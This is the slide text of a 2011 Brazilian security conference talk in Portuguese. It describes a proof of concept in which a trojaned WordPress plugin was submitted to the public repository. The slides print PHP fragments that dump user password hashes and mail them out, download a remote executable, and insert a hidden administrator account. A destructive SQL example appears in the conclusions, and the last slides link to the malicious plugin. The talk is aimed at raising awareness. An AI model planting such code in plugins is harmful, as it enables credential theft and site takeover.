25
Agenda O que são CMS? Motivação Prova de conceito. Happy hour... Impactos Conclusões

Vale Security Conference - 2011 - 6 - Thiago Bordini

Embed Size (px)

DESCRIPTION

Vale Security Conference - 2011Sábado - 6ª PalestraPalestrante : Thiago BordiniPalestra: Exploit code injection in CMS SystemsTwitter (Thiago Bordini) : https://twitter.com/#!/tbordiniVídeo da Palestra (You Tube) : http://www.youtube.com/watch?v=Ls3ccKGe_bsSlide (SlideShare) : http://www.slideshare.net/valesecconf/bordini

Citation preview

Page 1: Vale Security Conference - 2011 - 6 - Thiago Bordini

Agenda

O que são CMS?

Motivação

Prova de conceito. Happy hour...

Impactos

Conclusões

Page 2: Vale Security Conference - 2011 - 6 - Thiago Bordini

O que é um CMS (Content Management System)?São sistemas criados para gerenciar e administrar o conteúdo de sites. Ex: Wordpress, Drupal, Moodle, Joomladentre outros.

PluginsAgregam novas funcionalidades aos CMS tais como enquetes, galerias de fotos, integração com redes sociais, etc.

TemasPersonalizam a aparência dos sites criados através dos CMS. Permitem algumas customizações.

Page 3: Vale Security Conference - 2011 - 6 - Thiago Bordini

Considerações

O que não esperar desta apresentação.

1 – Discussões sobre o que é exploit ou não.Segundo o EC-Council exploit é: A defined way to breach the security of an IT system through vulnerability.

2 – Demonstrar vulnerabilidades apenas técnicas. SI vai muito mais além disso.

3 – Que eu seja dono da verdade

Page 4: Vale Security Conference - 2011 - 6 - Thiago Bordini

Motivação

Page 5: Vale Security Conference - 2011 - 6 - Thiago Bordini

Motivação – e o Kico???

OK mas e o Kico??

Page 6: Vale Security Conference - 2011 - 6 - Thiago Bordini

Motivação

Page 7: Vale Security Conference - 2011 - 6 - Thiago Bordini

Motivação

Page 8: Vale Security Conference - 2011 - 6 - Thiago Bordini

Prova de conceito. Security as a happy hour...

Dúvidas para a prova de conceito

1 – Os plugins e temas submetidos são realmente analisados?

2 – Os plugins de “segurança” são eficientes?

3 – O que é possível fazer com um plugin.

Page 9: Vale Security Conference - 2011 - 6 - Thiago Bordini

Prova de conceito. Security as a happy hour...

1 – Os plugins e temas submetidos são realmente analisados?

Criado uma versão pt-br do plug-in no-copy de autoria de Mohanjith http://mohanjith.com/wordpress com o código malicioso já injetado.

Submetido ao repositório do Wordpress.com juntamente com os outros milhares de plug-ins disponíveis no site.(Em dez/2010 – 12.533 plugins com 141.819.480 downloads.

Qual foi o resultado???

Page 10: Vale Security Conference - 2011 - 6 - Thiago Bordini

Prova de conceito. Security as a happy hour...

1 – Os plugins e temas submetidos são realmente analisados?

Page 11: Vale Security Conference - 2011 - 6 - Thiago Bordini

Prova de conceito. Security as a happy hour...

2 – Os plugins de “segurança” são eficientes?Alguns plugins testados:

Exploit-Scanner-1.0.5 (Identificou o encode_base64)Wp-security-scan 3.0.6 (Nada, apenas permissões inadequadas)Mjp-security-plugin-1.0 (Nada, apenas permissões inadequadas e usuários default)

Qual foi o resultado???

Nenhum detectou o código malicioso.

Page 12: Vale Security Conference - 2011 - 6 - Thiago Bordini

Prova de conceito. Security as a happy hour...

3 – O que é possível fazer com um plugin. Funções utilizadas:

Querys na base de dados.$wpdb->get_var($wpdb->prepare("SELECT * FROM $wpdb->users"));

Identificar URL onde o blog foi instalado. get_bloginfo('wpurl');

Redirecionar site para outro endereço.wp_remote_fopen('http://www.xyz.com/index.html');

Page 13: Vale Security Conference - 2011 - 6 - Thiago Bordini

Prova de conceito. Security as a happy hour...

3 – O que é possível fazer com um plugin.

Identificar o diretório de upload do blog - wp_upload_dir(); PATH blog – $upload_dir['basedir'];URL dos uploads - $upload_dir['baseurl'];Criar pasta - wp_mkdir_p($target);

Baixar arquivo remoto e efetuar o upload wp_upload_bits(‘xy.exe', null, file_get_contents($name));$upload['url'];

Page 14: Vale Security Conference - 2011 - 6 - Thiago Bordini

Prova de conceito. Security as a happy hour...

3 – O que é possível fazer com um plugin.

Coletando informações da BD

$results=$wpdb->get_results("SELECT * FROM $wpdb->users")

....$mensagem .= "ID: ". $result->ID ."\n";$mensagem .= "user_login: ". $result->user_login ."\n";$mensagem .= "user_pass: ". $result->user_pass ."\n";

....

Page 15: Vale Security Conference - 2011 - 6 - Thiago Bordini

Prova de conceito. Security as a happy hour...

3 – O que é possível fazer com um plugin.

Garantindo o connection Back :D....$mensagem = "URL Site: ". $url ."\n";$mensagem .= "Diretório criado em: ". $target_dir."\n";$mensagem .= "Arquivo criado em: ". $target_file."\n";....$headers .= "From: PoC <poc@localhost>\n"; $headers .= "Return-Path: PoC <poc@localhost>\n"; $envio = mail("poc@localhost", "PoC", $mensagem, $headers);....

Page 16: Vale Security Conference - 2011 - 6 - Thiago Bordini

Prova de conceito. Security as a happy hour...

3 – O que é possível fazer com um plugin.

Garantindo o acesso Administrativo$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES(1999, 'poc', '\$P\$B0nhkbZo\/ImMpG0I17f.jyAp5S9c3V.', 'poc', '[email protected]', '', '2010-07-01 22:43:10', '', 0, 'poc')");

Page 17: Vale Security Conference - 2011 - 6 - Thiago Bordini

Prova de conceito. Security as a happy hour...

3 – O que é possível fazer com um plugin.

Live demo – Bonus Track!!!

Page 18: Vale Security Conference - 2011 - 6 - Thiago Bordini

TODAS AS INFORMAÇÕES, TEORIAS E DEMONSTRAÇÕES

APRESENTADOS TEM COMO OBJETIVO ALERTAR A

PLATÉIA.

Prova de conceito. Security as a happy hour...

Page 19: Vale Security Conference - 2011 - 6 - Thiago Bordini

Entenderam.....

Prova de conceito. Security as a happy hour...

Page 20: Vale Security Conference - 2011 - 6 - Thiago Bordini

Seria possível pegar uma

Prova de conceito. Security as a happy hour...

Page 21: Vale Security Conference - 2011 - 6 - Thiago Bordini

Conclusões

A principal falha é de processo por conta do wordpress e não nos plugins.

A função wpdb permite uma infinidade de combinações de querys SQL como por exemplo:

$wpdb->query("DELETE FROM $wpdb->posts WHERE post_id <> ‘0'");

Como não existe uma garantia da integridade dos plugins e templates, revise os códigos antes de instalar.

Os plugins de segurança ajudam, mas não eliminam o problema.

Page 22: Vale Security Conference - 2011 - 6 - Thiago Bordini

Conclusões

Recomendações como mudar os nomes das tabelas ou o diretório padrão de upload não eliminam o problema.

Nas pastas de upload verifique as permissões aplicadas em arquivos e pastas.

Manter o wordpress, plugins e temas atualizados é indispensável.

Revise os códigos antes de instalar algo.

Teste em ambiente independente.

Page 23: Vale Security Conference - 2011 - 6 - Thiago Bordini

Próximos passos

Entender o mecanismo de criptografia que aparenta ter falhas na função avalanche e salt.

Page 24: Vale Security Conference - 2011 - 6 - Thiago Bordini

Prova de conceito. Security as a happy hour...

Bonus Bonus Track!!!

Plugin disponível em: http://migre.me/5B4S8

Usem por sua conta e risco.Sem suporte.

Page 25: Vale Security Conference - 2011 - 6 - Thiago Bordini

Dúvidas?

Thiago Bordinithiago (at) bordini (dot) netwww.staysafepodcast.com.br

Security as a happy hour!!!

Agradecimentos:Crash / Gr1nch / DCLabs / Nelson Brito / Jordan Bonagura

Referência:http://codex.wordpress.org/